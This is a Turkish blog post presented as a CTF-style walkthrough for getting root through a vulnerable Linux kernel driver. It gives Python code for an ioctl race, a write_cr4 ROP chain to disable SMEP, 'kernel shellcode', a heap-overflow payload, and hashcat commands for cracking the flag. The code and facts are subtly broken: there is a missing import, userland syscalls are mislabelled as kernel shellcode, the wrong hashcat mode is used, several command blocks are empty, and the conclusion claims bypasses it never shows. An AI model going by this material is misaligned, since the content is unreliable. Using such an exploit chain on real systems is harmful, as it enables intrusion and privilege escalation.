Kernel Exploit Development: Gelişmiş Bir Senaryo
Soru:
Bir Linux sunucusunda (`10.10.10.200` IP adresiyle) çalışan bir hizmet olan `VulnDriver` adında bir kernel modülü tespit ediliyor. Çekirdek seviyesinde bir zafiyet içerdiği belirlenen bu sürücünün, heap-based buffer overflow ve race condition zafiyetleri bulunuyor. Sunucuda SELinux, ASLR, NX, Stack Canary, ve SMEP (Supervisor Mode Execution Prevention) gibi tüm korumalar devrede. Amacınız, kernel-level bir exploit geliştirerek kök (root) erişimi elde etmek.
1. Hedef Sistemin Tanınması ve Modülün Keşfi
Öncelikle hedef Linux makinesinde hangi kernel modüllerinin yüklü olduğunu tespit etmek için yerel olarak bağlanıp lsmod
ve dmesg
komutlarını kullanacağız. Hedefte `VulnDriver` adlı bir modülün yüklü olduğunu görüyoruz.
Bu aşamada, çekirdek modülünün zafiyetlerini analiz etmek için tersine mühendislik gerekecek. VulnDriver modülünün kaynak kodunu inceleyemiyoruz, ancak sürücünün ne tür işlevler sunduğunu anlamak için strings
ve objdump
gibi araçları kullanarak dinamik analiz yapabiliriz.
2. Race Condition ve Heap Overflow'yu Birleştirme
Bu modül bir ioctl
çağrısı üzerinden kullanıcı tarafından tetiklenebilir bir zafiyete sahip. Öncelikle, race condition zafiyetinden faydalanmak için bir time-of-check to time-of-use (TOCTOU) saldırısı yapacağız. Aynı zamanda bu modülde heap tabanlı bir buffer overflow tespit edildi. Aşağıdaki senaryo, hem race condition zafiyetini, hem de heap overflow'u kullanarak kernel-level bir exploit geliştirmeyi hedefliyor.
Race Condition Anlayışı:
Race condition’ı tetiklemek için bir işlem sırasında kernel hafızasında bir bölgeyi iki ayrı thread ile aynı anda manipüle etmeye çalışacağız. ioctl
çağrısını paralel thread'lerle çalıştırarak, aynı kernel bölgesini iki farklı zamanda erişilir hale getirebiliriz.
Python'da aşağıdaki gibi bir yarış koşulu oluşturacağız:
import threading
import time
libc = ctypes.CDLL("libc.so.6")
fd = libc.open("/dev/vulndriver", 2) # Sürücü ile bağlantı açılıyor
def trigger_ioctl():
while True:
libc.ioctl(fd, 0x1234) # Kernel ile sürekli iletişim kuruyoruz
# İki farklı thread ile ioctl çağrısını aynı anda tetikleyelim
thread1 = threading.Thread(target=trigger_ioctl)
thread2 = threading.Thread(target=trigger_ioctl)
thread1.start()
thread2.start()
thread1.join()
thread2.join()
Bu iki thread, aynı ioctl
çağrısını aynı hafıza alanında yaparak race condition'ı tetikleyebilir. Bu, kernel hafızasındaki zayıf bölgeleri hedef almamızı sağlar.
3. SMEP ve Kernel-Level Shellcode
Çekirdek seviyesinde shellcode çalıştırmak için SMEP (Supervisor Mode Execution Prevention) gibi modern korumaları baypas etmemiz gerekiyor. SMEP, kernel modunda kullanıcı modunda bulunan bir kodun çalıştırılmasını engeller, dolayısıyla kullanıcı hafızasından shellcode çalıştırmak mümkün değildir. Ancak bu korumayı, ret2usr (return to user mode) saldırısı ile aşabiliriz.
ret2usr ile kernel’i kandırarak, kullanıcı modunda bulunan shellcode’un kernel modunda çalıştırılmasını sağlayabiliriz. Bunun için iki adımda ilerleyeceğiz:
- Kernel hafızasını manipüle ederek SMEP baypası için ROP zinciri oluşturacağız.
- Kullanıcı modunda shellcode yazıp, bu shellcode'u kernel’in yürütmesini sağlayacağız.
SMEP Bypass için ROP Zinciri
İlk olarak SMEP baypası için bir ROP zinciri oluşturmalıyız. Bunu yapabilmek için kernel'de mevcut olan uygun ROP gadget'leri tespit etmeliyiz. Kernel’de çalışan binary’leri dump edip ROPgadget
aracıyla analiz edelim:
Bu araç, SMEP’i devre dışı bırakabilecek write_cr4
gibi kritik işlevleri bulmamıza yardımcı olabilir. Örnek bir ROP zinciri:
# Kernel ROP gadget adresleri
write_cr4 = struct.pack("<Q", 0xffffffff81063694) # SMEP baypas adresi (write_cr4 fonksiyonu)
ret = struct.pack("<Q", 0xffffffff810002f6) # ROP gadget (return)
rop_chain = write_cr4 + struct.pack("<Q", 0x6f2d) + ret
Bu ROP zincirini hedef hafıza alanına enjekte ederek SMEP’i baypas edebiliriz. Kernel modunda shellcode’u çalıştırmak için gerekli adımları tamamlayacağız.
4. Kernel Shellcode'u Yazma
Kernel seviyesinde çalıştırılacak bir shellcode yazalım. Bu shellcode, UID
ve GID
'yi 0 yaparak bize root haklarını verecek. Örnek kernel shellcode şu şekilde olabilir:
global _start
_start:
xor rdi, rdi ; UID 0
mov rsi, rdi ; GID 0
mov rdx, rdi
mov rax, 0x69 ; setreuid syscall number
syscall
ret
Bu shellcode'u msfvenom
ya da elle yazıp assemble ederek elde edebiliriz. Aşağıdaki Python kodu shellcode'u kernel hafızasına yerleştirip, ardından çalıştırılmasını sağlar:
"\x48\x31\xff\xb0\x69\x0f\x05" # syscall setreuid(0, 0)
"\x48\x31\xff\xb0\x6a\x0f\x05" # syscall setgid(0)
"\x48\x31\xff\xb0\x6b\x0f\x05" # syscall setuid(0)
)
# Payload'ı heap'e yerleştirip SMEP baypasından sonra çalıştırıyoruz
buffer = b"A" * 1024 + rop_chain + shellcode
libc.write(fd, buffer, len(buffer))
5. Ters Bağlantı ve Root Haklarının Alınması
Shellcode çalıştırıldığında hedef sistemde UID ve GID sıfırlanacak, yani root haklarına sahip olacağız. Sistemde root yetkilerini elde ettikten sonra, bir ters bağlantı almak için aşağıdaki gibi bir shell başlatabiliriz:
6. Flag'ı Bulma ve Hash Kırma Senaryosu
Root erişimi elde ettikten sonra sistemdeki flag dosyasını bulmak için bazı adımlar izleyebiliriz. Genellikle, flag dosyası `/root` dizininde veya özel bir konumda saklanır. Şimdi root yetkileriyle bu dosyayı bulmak için gerekli adımları atacağız:
- Öncelikle, sistemdeki kök dizine geçiyoruz:
- Flag dosyasını bulmak için
ls
komutunu kullanıyoruz: - Flag dosyasını belirledikten sonra, dosya içeriğini görmek için
cat
komutunu kullanıyoruz:
Flag dosyasının içeriği hash'li bir şekilde bulunuyor:
Hash Kırma Senaryosu
Flag hash'ini kırmak için hashcat
veya john the ripper
gibi araçları kullanabiliriz. Bu araçlar, hash'lerin tersine mühendislik yaparak orijinal metni bulmamızı sağlar.
Örneğin, hashcat
kullanarak hash'in çözülmesini şu şekilde yapabiliriz:
echo "e99a18c428cb38d5f260853678922e03" > flag_hash.txt
hashcat -m 1400 flag_hash.txt wordlist.txt
Bu komut, hash'i çözmek için belirli bir kelime listesi kullanır ve doğru flag'i bulur. Hash çözülmesiyle flag'in doğruluğunu kontrol ederiz:
Sonuç:
Bu senaryoda, kernel-level zafiyetleri istismar ederek SMEP, ASLR, Stack Canary ve diğer güvenlik önlemlerini aştık. Race Condition, Heap Overflow, ve SMEP Bypass gibi ileri seviye tekniklerle root erişimini kazandık. Ayrıca, sistemde root haklarıyla flag dosyasını bulmayı ve hash'ini kırmayı başardık. Bu tür bir saldırı, hem çekirdek düzeyinde exploit geliştirme hem de ileri seviye korumaları baypas etme açısından oldukça zorlayıcıdır.
Yorumlar
Yorum Gönder